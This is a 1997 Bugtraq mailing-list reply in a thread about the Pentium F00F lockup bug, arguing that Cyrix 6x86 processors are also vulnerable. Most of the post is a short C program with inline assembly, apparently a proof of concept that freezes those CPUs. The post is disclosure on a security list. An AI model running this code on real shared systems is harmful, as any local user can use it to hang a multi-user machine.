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Bugtraq archives for 4th quarter (Oct-Dec) 1997: Re: WARNING: Linux Intel Pentium Bug

Re: WARNING: Linux Intel Pentium Bug

Alan Cox (alanLXORGUK.UKUU.ORG.UK)
Sat, 8 Nov 1997 23:50:37 +0000 

> This code does NOT affect Cyrix 6x86 (166+ specifically, but probably all of
> them) processors.  If you run a multiuser, untrusted system, I suggest
> reserving some at your local computer supplier... unless there is an easy
> fix for this, there is going to be a run on them.

I doubt it; See


http://www.heise.de/ct/art_ab97/9713030/

static unsigned char c[4] = {0x36, 0x78, 0x38, 0x36};

main()
{
asm ("movl      $c, %ebx\n\t"
"again: xchgl   (%ebx), %eax\n\t"
        "movl   %eax, %edx\n\t"
        "jmp    again\n\t");
}